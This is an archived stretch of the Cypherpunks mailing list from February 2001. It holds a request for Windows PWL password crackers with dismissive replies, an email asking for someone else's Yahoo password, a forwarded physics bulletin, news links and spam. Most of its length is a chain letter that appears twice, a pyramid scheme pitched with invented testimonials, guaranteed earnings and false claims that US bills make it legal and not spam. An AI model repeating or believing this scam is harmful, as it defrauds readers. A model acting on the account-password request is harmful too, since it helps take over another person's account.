Hey Do You Have Any PWL Crackers That Work For Win2k To Crack Win95 PWL's

Thanks,
Stoner12
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From krunal5112 at hotmail.com  Sun Feb 25 01:06:49 2001
From: krunal5112 at hotmail.com (chi)
Date: Sun, 25 Feb 2001 14:36:49 +0530
Subject: No subject
Message-ID: <OE26HTtt0zb8vq3UhQC000015ef@hotmail.com>

please sent me the correct password and id of the following address
      sweetriddhi04 at yahoo.com
        at the following address krunal5112 at hotmail.com

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From hseaver at arrowhead.lib.mn.us  Sun Feb 25 14:13:30 2001
From: hseaver at arrowhead.lib.mn.us (Harmon Seaver)
Date: Sun, 25 Feb 2001 16:13:30 -0600 (CST)
Subject: PWL Crackers
In-Reply-To: <002801c09f54$b278bbe0$6975e5a9@Reshall.berkeley.edu> from "atek3" at Feb 25, 2001 09:59:20 AM
Message-ID: <200102252213.QAA13643@mail.arrowhead.lib.mn.us>


   From LEO's in the main part. Or TLA's. 



> where do these assholes come from, would anyone mind telling me that?
> 
> atek3
>   ----- Original Message -----=20
>   From: Michael Levin=20
>   To: cypherpunks at toad.com=20
>   Sent: Sunday, February 25, 2001 7:04 AM
>   Subject: CDR: PWL Crackers
> 
> 
>   Hey Do You Have Any PWL Crackers That Work For Win2k To Crack Win95 =
> PWL's
> 
>   Thanks,
>   Stoner12
> 




From ravage at einstein.ssz.com  Sun Feb 25 20:26:37 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sun, 25 Feb 2001 22:26:37 -0600 (CST)
Subject: update.527 (fwd)
Message-ID: <Pine.LNX.3.96.1010225222538.5925Y-100000@einstein.ssz.com>



---------- Forwarded message ----------
Date: Fri, 23 Feb 2001 13:43:41 -0500 (EST)
From: AIP listserver <physnews at aip.org>
To: physnews-mailing at aip.org
Subject: update.527

PHYSICS NEWS UPDATE                         
The American Institute of Physics Bulletin of Physics News
Number 527  February 23, 2001   by Phillip F. Schewe, Ben Stein,
and James Riordon

SILICON CAGE CLUSTERS: BETTER THAN BUCKYBALLS?
The discovery of carbon fullerenes (Update 2) caught the
imagination of scientists and the public alike as researchers raced
to find applications for the tiny spheres commonly called
buckyballs. Now researchers at the Joint Center for Atomic
Research in Japan have managed to create similar arrangements of
silicon atoms, a feat previously thought impossible owing to
silicon's chemical nature. Potential applications of the silicon
assemblies range from components in quantum computers to
chemical catalysts to new superconducting compounds. Silicon is,
of course, a vital material for the vast semiconductor industry and
one of the most studied elements in all of science.  Therefore this
new discovery might lead to applications that could match or even
exceed those expected for carbon fullerenes.  Unlike carbon atoms,
pure silicon cannot form stable, closed configurations. The new
research, however, reveals that silicon can gather around a central
metal atom and settle into basket-like arrangements called silicon
cage clusters. One particularly low energy, and therefore stable,
configuration consists of twelve silicon atoms forming a regular,
hexagonal cage that surrounds a tungsten atom (see figure at
http://www.aip.org/physnews/graphics).  Because the choice of a
central metal atom affects the chemical behavior of cage clusters,
scientists should be able to tailor the clusters to create novel
nanodevices and catalysts. The researchers (Hidefumi Hiura, h-
hiura at bq.jp.nec.com, 011-81-298-50-2615) note in particular that
clusters efficiently isolate their guest metal atoms from the
surrounding environment, a characteristic that could permit a
cluster to act as a robust qubit in a quantum computer by storing a
single bit of information in the spin state of the enclosed metal
atom. (H. Hiura et al, Physical Review Letters, 26 February 2001.)

UNTYING THE KNOT.  Dealing with shoelaces is for most of us
[SSZ: text deleted]

PERMIAN CATASTROPHE COMET?  A trace of indium in
[SSZ: text deleted]

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From ravage at einstein.ssz.com  Sun Feb 25 20:31:37 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sun, 25 Feb 2001 22:31:37 -0600
Subject: Slashdot | The Mystery of Capital
Message-ID: <3A99DC29.819B5CF1@ssz.com>


http://slashdot.org/books/01/02/07/2119225.shtml
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From watkins at mail.utexas.edu  Sun Feb 25 22:21:19 2001
From: watkins at mail.utexas.edu (G Morgan Watkins)
Date: Mon, 26 Feb 2001 00:21:19 -0600
Subject: No idea how old the page was...
Message-ID: <4.3.2.7.2.20010226001908.00aa3c20@mail.utexas.edu>


Just thought I'd share my amusement when I found an old letter to the 
editors that I'd written to MacWEEK many years ago on a Web page with your 
mailto: address.  Reading again about the Ma and Pa Finder was fun.  I'm 
glad that someone enjoyed it.

Morgan



____________________________________________________________
G. Morgan Watkins, Associate Director, Academic Computing (ACITS)
University of Texas at Austin, (512) 475-9341, watkins at mail.utexas.edu




From danbraunstein at yahoo.com  Sun Feb 25 10:52:54 2001
From: danbraunstein at yahoo.com (Danette)
Date: Mon, 26 Feb 2001 02:52:54 +0800
Subject: Online Business
Message-ID: <auto-000004365938@philwebinc.com>


Hi Fellow Networker,

My name is Danette and I am tired of scams or getting scammed. I have tried=
 several=20
of these online opportunities full of hype promising us thousands of dollar=
s=20
every month.

It is a sad fact that many people who are in need to earn additional income=
 is=20
being victimized by this scam artists. Every time I tried one opportunity a=
fter=20
the other, I ended more broke than ever.

After some time trying all these opportunities, I have decided to select on=
 my=20
portfolio the company which is true to their words. Not the one full of hyp=
e.=20
Not those branding unfounded claims. I concentrated on the one that has con=
sistently=20
sent me the monthly check. Even without the hype they have given me the bes=
t=20
compensation plan with their high % commission. They are providing real ser=
vice=20
and not that pyramid scheme which simply transfer wealth from the new signu=
ps=20
to the people at the top of the pyramid. They are not one of those pyramid =
scams.

Also when you join, you will have a team of upline sponsors who will help y=
ou=20
succeed every step of the way. Instead of being left alone, you will be gui=
ded=20
step by step by real people, not those autoresponders.

Do not believe in do nothing, no recruiting, no selling schemes. They are s=
cams.=20
You might want to try it to prove my words. Only yourself can make your own=
 success=20
together with the help of your sponsors.

If you have 2 to 3 hours a day, you will be able to earn a full income in a=
 few=20
months. And there is absolutely no limit as how much you can earn. It is de=
signed=20
to gain momentum after some time.

But I prefer to avoid such statements as "You will get rich". I read it eve=
rywhere=20
and I do not want to sound like them.
=20
Please take the time to find more info by clicking on the link below.

http://www.danbrauns.50megs.com

Regards,
Danette

P.S. This is a one time email so there is no need to be removed from the li=
st



Join the web's fastest downline builder...
www.danbrauns.50megs.com




From aluger at hushmail.com  Mon Feb 26 08:05:10 2001
From: aluger at hushmail.com (aluger at hushmail.com)
Date: Mon, 26 Feb 2001 08:05:10 -0800 (PST)
Subject: update.527 (fwd)
Message-ID: <200102261604.IAA07017@user1.hushmail.com>

I'm so glad you grace our electronic InBoxes with this stuff every day Jim!

Bless you!

At Sun, 25 Feb 2001 22:26:37 -0600 (CST), Jim Choate <ravage at einstein.ssz.com> 
wrote:

>
>
>---------- Forwarded message ----------
>Date: Fri, 23 Feb 2001 13:43:41 -0500 (EST)
>From: AIP listserver <physnews at aip.org>
>To: physnews-mailing at aip.org
>Subject: update.527
>
>PHYSICS NEWS UPDATE                         
>The American Institute of Physics Bulletin of Physics News
>Number 527  February 23, 2001   by Phillip F. Schewe, Ben Stein,
>and James Riordon
>
>SILICON CAGE CLUSTERS: BETTER THAN BUCKYBALLS?
>The discovery of carbon fullerenes (Update 2) caught the
>imagination of scientists and the public alike as researchers raced
>to find applications for the tiny spheres commonly called
>buckyballs. Now researchers at the Joint Center for Atomic
>Research in Japan have managed to create similar arrangements of
>silicon atoms, a feat previously thought impossible owing to
>silicon's chemical nature. Potential applications of the silicon
>assemblies range from components in quantum computers to
>chemical catalysts to new superconducting compounds. Silicon is,
>of course, a vital material for the vast semiconductor industry and
>one of the most studied elements in all of science.  Therefore this
>new discovery might lead to applications that could match or even
>exceed those expected for carbon fullerenes.  Unlike carbon atoms,
>pure silicon cannot form stable, closed configurations. The new
>research, however, reveals that silicon can gather around a central
>metal atom and settle into basket-like arrangements called silicon
>cage clusters. One particularly low energy, and therefore stable,
>configuration consists of twelve silicon atoms forming a regular,
>hexagonal cage that surrounds a tungsten atom (see figure at
>http://www.aip.org/physnews/graphics).  Because the choice of a
>central metal atom affects the chemical behavior of cage clusters,
>scientists should be able to tailor the clusters to create novel
>nanodevices and catalysts. The researchers (Hidefumi Hiura, h-
>hiura at bq.jp.nec.com, 011-81-298-50-2615) note in particular that
>clusters efficiently isolate their guest metal atoms from the
>surrounding environment, a characteristic that could permit a
>cluster to act as a robust qubit in a quantum computer by storing a
>single bit of information in the spin state of the enclosed metal
>atom. (H. Hiura et al, Physical Review Letters, 26 February 2001.)
>
>UNTYING THE KNOT.  Dealing with shoelaces is for most of us
>[SSZ: text deleted]
>
>PERMIAN CATASTROPHE COMET?  A trace of indium in
>[SSZ: text deleted]
>
>    ____________________________________________________________________
>
>           Before a larger group can see the virtue of an idea, a
>           smaller group must first understand it.
>
>                                           "Stranger Suns"
>                                           George Zebrowski
>
>       The Armadillo Group       ,::////;::-.          James Choate
>       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>       www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                           -====~~mm-'`-```-mm --'-
>    ----------------------------------------------------------------
>----
>
Free, encrypted, secure Web-based email at www.hushmail.com

From honig at sprynet.com  Mon Feb 26 09:06:03 2001
From: honig at sprynet.com (David Honig)
Date: Mon, 26 Feb 2001 09:06:03 -0800
Subject: bring on the clones
Message-ID: <3.0.6.32.20010226090603.008bfb50@pop.sprynet.com>


	
Next week: the RIAA tries to make portscanners as criminal piracy tools,
and activity on port 6699 as 'probable cause'




SINCE MONDAY, the Recording Industry
                          Association of America, the main trade group
representing
                          record labels, has sent about 60 legal notices to
the
                          Internet-service companies that provide Web
connections
                          for �Open Napster� servers. These are computers
that run
                          Napster-like software, but aren�t associated with
the
                          Redwood City, Calif., company�s service.
                                 Numerous free programs, such as one called
                          �Napigator,� can be downloaded from the Internet and
                          used to locate Open Napster servers. Napigator
author


http://www.msnbc.com/news/535001.asp
                          Chad Boyda said there are about 350 such machines
                          operating, though the number varies daily. 
.......
Unbeknown to the latter, Marks had already cracked General de Gaulle's
private cypher 
in a spare moment on the lavatory. 

 






  







From k.brown at ccs.bbk.ac.uk  Mon Feb 26 02:47:25 2001
From: k.brown at ccs.bbk.ac.uk (Ken Brown)
Date: Mon, 26 Feb 2001 10:47:25 +0000
Subject: PWL Crackers
References: <200102252213.QAA13643@mail.arrowhead.lib.mn.us>
Message-ID: <3A9A343D.555F0237@ccs.bbk.ac.uk>


I think the "state government of California" guy must be just a looney.
Though why he sent me 5 copies of his stupid message each with the
spelling corrected slightly differently and ALL WRONG I don't know.  Is
there any version of DNA in which .state works as an HLQ?  Maybe it is
all some subtle stego setup, I don't think.

Ken, puzzled.

Harmon Seaver wrote:
> 
>    From LEO's in the main part. Or TLA's.
> 
> > where do these assholes come from, would anyone mind telling me that?
> >
> > atek3
> >   ----- Original Message -----=20
> >   From: Michael Levin=20
> >   To: cypherpunks at toad.com=20
> >   Sent: Sunday, February 25, 2001 7:04 AM
> >   Subject: CDR: PWL Crackers
> >
> >
> >   Hey Do You Have Any PWL Crackers That Work For Win2k To Crack Win95 =
> > PWL's
> >
> >   Thanks,
> >   Stoner12
> >




From freematt at coil.com  Mon Feb 26 07:56:08 2001
From: freematt at coil.com (Matthew Gaylor)
Date: Mon, 26 Feb 2001 10:56:08 -0500
Subject: New Zealand:  Kiwi Cops Pay To Access Encrypted Phone Calls
Message-ID: <v0422080cb6c02cebfec1@[198.4.94.224]>



From bear at sonic.net  Mon Feb 26 11:24:19 2001
From: bear at sonic.net (Ray Dillinger)
Date: Mon, 26 Feb 2001 11:24:19 -0800 (PST)
Subject: PWL Crackers
In-Reply-To: <3A9A343D.555F0237@ccs.bbk.ac.uk>
Message-ID: <Pine.LNX.4.21.0102261122570.1889-100000@bolt.sonic.net>



Maybe they could be stegotexts? 

five long rambles with semi-random spelling and spacing variations 
could cover a message of several dozen words. 

				Bear


On Mon, 26 Feb 2001, Ken Brown wrote:

>I think the "state government of California" guy must be just a looney.
>Though why he sent me 5 copies of his stupid message each with the
>spelling corrected slightly differently and ALL WRONG I don't know.  Is
>there any version of DNA in which .state works as an HLQ?  Maybe it is
>all some subtle stego setup, I don't think.
>
>Ken, puzzled.
>
>Harmon Seaver wrote:
>> 
>>    From LEO's in the main part. Or TLA's.
>> 
>> > where do these assholes come from, would anyone mind telling me that?
>> >
>> > atek3
>> >   ----- Original Message -----=20
>> >   From: Michael Levin=20
>> >   To: cypherpunks at toad.com=20
>> >   Sent: Sunday, February 25, 2001 7:04 AM
>> >   Subject: CDR: PWL Crackers
>> >
>> >
>> >   Hey Do You Have Any PWL Crackers That Work For Win2k To Crack Win95 =
>> > PWL's
>> >
>> >   Thanks,
>> >   Stoner12
>> >
>




From tom at ricardo.de  Mon Feb 26 02:48:54 2001
From: tom at ricardo.de (Tom)
Date: Mon, 26 Feb 2001 11:48:54 +0100
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
References: <Pine.LNX.4.21.0102221025450.17464-100000@bolt.sonic.net>
Message-ID: <3A9A3496.9F72DA65@ricardo.de>


Ray Dillinger wrote:
> >> Here's an interesting thought, though.  There are all kinds of
> >> number generators already hanging in the sky, and some of them
> >> are fairly random, so this thing might actually have a prayer
> >> of working.
> >
> >that, of course, requires that you trust THOSE. now it is highly
> >unlikely (though not impossible) that the NSA thought of this, say, 10
> >years ago, and it would be an extremely costly operation to secretly
> >modify those birds, but that only gives confidence, not trust.
> 
> I was not talking about artificial satellites.  I was talking about
> chaotic processes observable with telescopes.

I was talking about the satellites used to observe these processes. I
didn't get that you were going for earth-bound telescopes.




From jchoate at dev.tivoli.com  Mon Feb 26 12:04:27 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Mon, 26 Feb 2001 14:04:27 -0600
Subject: Slashdot | Micropayments: Effective Replacement For Ads Or ?
Message-ID: <3A9AB6CB.B9370411@dev.tivoli.com>


http://slashdot.org/articles/01/02/26/1756207.shtml
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From jchoate at dev.tivoli.com  Mon Feb 26 12:06:35 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Mon, 26 Feb 2001 14:06:35 -0600
Subject: Slashdot | Student Web-Site Censors Stung for $62,000
Message-ID: <3A9AB74B.C70474A7@dev.tivoli.com>


http://slashdot.org/yro/01/02/26/1622248.shtml
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From jchoate at dev.tivoli.com  Mon Feb 26 12:10:03 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Mon, 26 Feb 2001 14:10:03 -0600
Subject: Linux Today - ITworld.com: Could Linux be too open for our own good?; 
 NSA's super-secure Linux
Message-ID: <3A9AB81B.65EF3753@dev.tivoli.com>


http://linuxtoday.com/news_story.php3?ltsn=2001-02-26-011-06-SC-SW
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From dave at business-basics.org  Mon Feb 26 14:11:06 2001
From: dave at business-basics.org (dave at business-basics.org)
Date: Mon, 26 Feb 2001 14:11:06 -0800 (PST)
Subject: This is the Best Work-at-Home Internet Business Opportunity available.
Message-ID: <200102262211.OAA02841@toad.com>


Do The Numbers And This Will Work!

Dear Friend:

"Making over half million dollars every 4 to 5 months from your
home for an investment of only $25 U.S. Dollars expense one
time"

THANKS TO THE COMPUTER AGE AND THE INTERNET!
===============================================

BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR !!

Before you say "Bull" , please read the following. This is the
letter you have been hearing about on the news lately. Due to the
popularity of this letter on the internet, a national weekly news
program recently devoted an entire show to the investigation of
this program described below , to see if it really can make people
money.

The show also investigated whether or not the program was legal.
Their findings proved once and for all that there are "absolutely
no laws prohibiting the participation in the program and if people
can follow the simple instructions, they are bound to make
some mega bucks with only $25 out of pocket cost".

DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT
THIS PROGRAM HAS ATTAINED, IT IS CURRENTLY WORKING
BETTER THAN EVER.

This is what one had to say:

"Thanks to this profitable opportunity. I was approached
many times before but each time I passed on it. I am so glad
I finally joined just to see what one could expect in return
for the minimal effort and money required. To my astonishment, I
received total $ 610,470.00 in 21 weeks, with money still
coming in".
Pam Hedland, Fort Lee, New Jersey.

-------------------------------------------------------------------------

Here is another testimonial:

"This program has been around for a long time but I never
believed in it. But one day when I received this again in
the mail I decided to gamble my $25 on it. I followed the
simple instructions and walaa ..... 3 weeks later the money
started to come in. First month I only made $240.00 but
the next 2 months after that I made a total of $290,000.00.
So far, in the past 8 months by re-entering the program,I
have made over $710,000.00 and I am playing it again.
The key to success in this program is to follow the simple
steps and NOT change anything ."

More testimonials later but first,

****** PRINT THIS NOW FOR YOUR FUTURE REFERENCE *******

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
If you would like to make at least $500,000 every 4 to 5 months
easily and comfortably, please read the following...THEN READ
IT AGAIN and AGAIN !!!
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR
FINANCIAL DREAMS WILL COME TRUE, GUARANTEED!

INSTRUCTIONS:

**** Order all 5 reports shown on the list below.

**** For each report, send $5 CASH, THE NAME & NUMBER OF THE
REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS
to the person whose name appears ON THAT LIST next to the report.
MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE
TOP LEFT CORNER in case of any mail problems.

**** When you place your order, make sure you order each of the 5
reports. You will need all 5 reports so that you can save them on your 
computer and resell them. YOUR TOTAL COST $5 X 5 = $25.00.

**** Within a few days you will receive, via e-mail, each of the 5
reports from these 5 different individuals. Save them on your computer
so they will be accessible for you to send to the 1,000's of people
who will order them from you. Also make a floppy of these
reports and keep it on your desk in case something happen to your
computer.

****.IMPORTANT - DO NOT alter the names of the people who are
listed next to each report, or their sequence on the list, in
any way other than what is instructed below in steps 1 through
6 or you will loose out on majority of your profits. Once you
understand the way this works, you will also see how it does not work if you 
change it.

Remember, this method has been tested, and if you alter, it
will NOT work!!! People have tried to put their friends/relatives names
on all five thinking they could get all the money. But it does not work this 
way. Believe us, we all have tried to be greedy and then nothing happened. 
So Do Not try to change anything other than what is instructed. Because if 
you do, it will not work for you. Remember, honesty reaps the reward!!!

1.. After you have ordered all 5 reports, take this advertisement
and REMOVE the name & address of the person in REPORT # 5. This
person has made it through the cycle and is no doubt counting
their fortune.

2.... Move the name & address in REPORT # 4 down TO REPORT # 5.

3.... Move the name & address in REPORT # 3 down TO REPORT # 4.

4.... Move the name & address in REPORT # 2 down TO REPORT # 3.

5.... Move the name & address in REPORT # 1 down TO REPORT # 2

6.... Insert YOUR name & address in the REPORT # 1 Position.

PLEASE MAKE SURE you copy every name & address ACCURATELY !
=========================================================

Take this entire letter, with the modified list of names, and save
it on your computer. DO NOT MAKE ANY OTHER CHANGES.
Save this on a disk as well just in case if you loose any data.

To assist you with marketing your business on the internet, the
5 reports you purchase will provide you with invaluable
marketing information which includes how to send bulk e-mails legally,
where to find thousands of free classified ads and much more.

There are 2 Primary methods to get this venture going:

METHOD # 1 : BY SENDING BULK E-MAIL LEGALLY
============================================
let's say that you decide to start small, just to see how it
goes, and we will assume You and those involved send out only
5,000 e-mails each. Let's also assume that the mailing receive only a
0.2% response (the response could be much better but lets just
say it is only 0.2% . Also many people will send out hundreds of
thousands e-mails instead of only 5,000 each).

Continuing with this example, you send out only 5,000 e-mails.
With a 0.2% response, that is only 10 orders for report # 1.
Those 10 people responded by sending out 5,000 e-mail
each for a total of 50,000. Out of those 50,000 e-mails only
0.2% responded with orders. That's = 100 people responded
and ordered Report # 2. Those 100 people mail out 5,000
e-mails each for a total of 500,000 e-mails. The 0.2% response
to that is 1000 orders for Report # 3. Those 1000 people send
out 5,000 e-mails each for a total of 5 million e-mails sent out.
The 0.2% response to that is 10,000 orders for Report # 4.
Those 10,000 people send out 5,000 e-mails each for a total of
50,000,000 (50 million) e-mails. The 0.2% response to that is
100,000 orders for Report # 5.

THAT'S 100,000 ORDERS TIMES $5 EACH = $500,000.00 (half million).

Your total income in this example is:
1..... $50 +
2..... $500 +
3..... $5,000 +
4..... $50,000 +
5..... $500,000 ......... Grand Total = $555,550.00

NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE
OUT THE WORST POSSIBLE RESPONSES AND NO MATTER
HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF
MONEY !

------------------------------------------------------------------------------

REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE
ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think for
a moment what would happen if everyone, or half or even one 4th
of those people mailed 100,000 e-mails each or more? There are
over 250 million people on the internet worldwide and counting.
Believe me, many people will do just that, and more!

METHOD # 2 : BY PLACING FREE ADS ON THE INTERNET
===================================================
Advertising on the net is very very inexpensive and there are
hundreds of FREE places to advertise. Placing a lot of free ads
on the internet will easily get a larger response. We strongly
suggest you start with Method # 1 and add METHOD # 2 as you go
along.

For every $5 you receive, all you must do is e-mail them the Report
they ordered. That's it . Always provide same day service on all
orders. This will guarantee that the e-mail they send out, with your
name and address on it, will be prompt because they can not advertise until 
they receive the report.

_____________________ AVAILABLE REPORTS_____________________

ORDER EACH REPORT BY ITS NUMBER & NAME ONLY.

Notes: Always send $5 cash (U.S. CURRENCY) for each Report.
Checks NOT accepted. Make sure the cash is concealed by wrapping
it in at least 2 sheets of paper. On one of those sheets of paper,
Write the NUMBER & the NAME of the Report you are ordering, YOUR
E-MAIL ADDRESS and your name and postal address.

PLACE YOUR ORDER FOR THESE REPORTS NOW :

REPORT#1  "The Insider's Guide to Sending
Bulk E-mail on the Internet"
ORDER REPORT#1 FROM:

David Versteeg
28 Simmons Street
Rochester, NY 14606

 
REPORT#2 "The Insiders Guide to Advertising for Free on the
Internet"
ORDER REPORT#2 FROM:

Glen Kelly
890 Ravenwood Ct. 
Biloxi, Ms. 39532

 
REPORT#3 "The Secrets to Multilevel Marketing on the Internet"
ORDER REPORT#3 FROM:

C Shaw
P.O. Box 468
Schomberg, Ontario
Canada LOG ITO


REPORT#4 " How to become a Millionaire untilizing the Power of
Multi Level Marketing and the Internet"
ORDER REPORT#4 FROM:

Elaine Rix
138 Dundas Street, West, #243
Toronto, Ontario
Canada M5G 1C3


REPORT#5 "How to Send 1,000,000 e-mails for FREE"
ORDER REPORT#5 FROM:

Yan Wen
25 Elm Street #907
Toronto, Ontario
Canada, M5G 2G5

 
 
 
There are currently more than 250,000,000 people online
worldwide!

$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$

Follow these guidelines to guarantee your success:

If you do not receive at least 10 orders for Report #1 within 2
weeks, continue sending e-mails until you do.

After you have received 10 orders, 2 to 3 weeks after that
you should receive 100 orders or more for REPORT # 2.
If you did not, continue advertising or sending e-mails until
you do.

Once you have received 100 or more orders for Report # 2,
YOU CAN RELAX, because the system is already working for
you , and the cash will continue to roll in !

THIS IS IMPORTANT TO REMEMBER : Every time your name is
moved down on the list, you are placed in front of a different report.
You can KEEP TRACK of your PROGRESS by watching which
report people are ordering from you. IF YOU WANT TO GENERATE
MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND
START THE WHOLE PROCESS AGAIN. There is NO LIMIT to
the income you can generate from this business !!!
____________________________________________________

FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS
PROGRAM:

You have just received information that can give you financial
freedom for the rest of your life, with NO RISK and JUST A
LITTLE BIT OF EFFORT. You can make more money in the
next few weeks and months than you have ever imagined.

Follow the program EXACTLY AS INSTRUCTED. Do Not change
it in any way. It works exceedingly well as it is now.
Remember to e-mail a copy of this exciting report after you
have put your name and address in Report #1 and moved others to
#2...........# 5 as instructed above. One of the people you send this to may 
send out 100,000 or more e-mails and your name will be on everyone of them. 
Remember though, the more you send out the more potential customers you will 
reach.

So my friend, I have given you the ideas, information,
materials and opportunity to become financially independent. IT IS UP TO YOU 
NOW !

************** MORE TESTIMONIALS ****************

"My name is Mitchell. My wife , Jody and I live in Chicago.
I am an accountant with a major U.S. Corporation and I
make pretty good money. When I received this program I grumbled
to Jody about receiving ''junk mail''. I made fun of the
whole thing, spouting my knowledge of the population and
percentages involved. I ''knew'' it wouldn't work. Jody
totally ignored my supposed intelligence and few days later she jumped in 
with both feet. I made merciless fun of her, and was ready to
lay the old ''I told you so'' on her when the thing didn't
work. Well, the laugh was on me! Within 3 weeks she had received
50 responses. Within the next 45 days she had received a
total of $ 147,200.00 all cash! I was shocked. I have
joined Jody in her ''hobby''."
Mitchell Wolf,
Chicago, Illinois

------------------------------------------------------------

"Not being the gambling type, it took me several weeks to
make up my mind to participate in this plan. But conservative that
I am, I decided that the initial investment was so little
that there was just no way that I wouldn't get enough orders to at
least get my money back.

I was surprised when I found my medium size post office box
crammed with orders. I made $319,210.00 in the first 12
weeks. The nice thing about this deal is that it does not matter
where people live. There simply isn't a better investment
with a faster return and so big."
Dan Sondstrom, Alberta,
Canada

-----------------------------------------------------------

"I had received this program before. I deleted it, but
later I wondered if I should have given it a try. Of course, I had
no idea who to contact to get another copy, so I had to wait
until I was e-mailed again by someone else.........11 months
passed then it luckily came again...... I did not delete this
one! I made more than $490,000 on my first try and all the
money came within 22 weeks".
Susan De Suza,
New York, N.Y.

----------------------------------------------------

"It really is a great opportunity to make relatively easy
money with little cost to you. I followed the simple
instructions carefully and within 10 days the money
started to come in. My first month I made $ 20,560.00
and by the end of third month my total cash count was
$ 362,840.00. Life is beautiful, Thanx to internet".
Fred Dellaca, Westport,
New Zealand

------------------------------------------------------------


ORDER YOUR REPORTS TODAY AND GET STARTED ON
YOUR ROAD TO FINANCIAL FREEDOM !

=======================================================

If you have any questions of the legality of this program, contact the
Office of Associate Director for Marketing Practices, Federal Trade
Commission, Bureau of Consumer Protection, Washington, D.C.


Under Bill s.1618 TITLE III passed by the 105th US Congress this
letter cannot be considered spam as long as the sender includes
contact information and a method of removal.
This is one time e-mail transmission. No request for removal is
necessary.

------------------------------------------------------------
This message is sent in compliance of the new email
Bill HR 1910. Under Bill HR 1910 passed by the 106th
US Congress on May 24, 1999, this message cannot be
considered Spam as long as we include the way to be
removed. Per Section HR 1910, Please type "REMOVE" in
the subject line and reply to this email. All removal
requests are handled personally an immediately once
received.
-------------------------------------------------------------------------------------------------------------




From dave at business-basics.org  Mon Feb 26 14:13:57 2001
From: dave at business-basics.org (dave at business-basics.org)
Date: Mon, 26 Feb 2001 14:13:57 -0800 (PST)
Subject: This is the Best Work-at-Home Internet Business Opportunity available.
Message-ID: <200102262213.OAA08072@cyberpass.net>


Do The Numbers And This Will Work!

Dear Friend:

"Making over half million dollars every 4 to 5 months from your
home for an investment of only $25 U.S. Dollars expense one
time"

THANKS TO THE COMPUTER AGE AND THE INTERNET!
===============================================

BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR !!

Before you say "Bull" , please read the following. This is the
letter you have been hearing about on the news lately. Due to the
popularity of this letter on the internet, a national weekly news
program recently devoted an entire show to the investigation of
this program described below , to see if it really can make people
money.

The show also investigated whether or not the program was legal.
Their findings proved once and for all that there are "absolutely
no laws prohibiting the participation in the program and if people
can follow the simple instructions, they are bound to make
some mega bucks with only $25 out of pocket cost".

DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT
THIS PROGRAM HAS ATTAINED, IT IS CURRENTLY WORKING
BETTER THAN EVER.

This is what one had to say:

"Thanks to this profitable opportunity. I was approached
many times before but each time I passed on it. I am so glad
I finally joined just to see what one could expect in return
for the minimal effort and money required. To my astonishment, I
received total $ 610,470.00 in 21 weeks, with money still
coming in".
Pam Hedland, Fort Lee, New Jersey.

-------------------------------------------------------------------------

Here is another testimonial:

"This program has been around for a long time but I never
believed in it. But one day when I received this again in
the mail I decided to gamble my $25 on it. I followed the
simple instructions and walaa ..... 3 weeks later the money
started to come in. First month I only made $240.00 but
the next 2 months after that I made a total of $290,000.00.
So far, in the past 8 months by re-entering the program,I
have made over $710,000.00 and I am playing it again.
The key to success in this program is to follow the simple
steps and NOT change anything ."

More testimonials later but first,

****** PRINT THIS NOW FOR YOUR FUTURE REFERENCE *******

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
If you would like to make at least $500,000 every 4 to 5 months
easily and comfortably, please read the following...THEN READ
IT AGAIN and AGAIN !!!
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR
FINANCIAL DREAMS WILL COME TRUE, GUARANTEED!

INSTRUCTIONS:

**** Order all 5 reports shown on the list below.

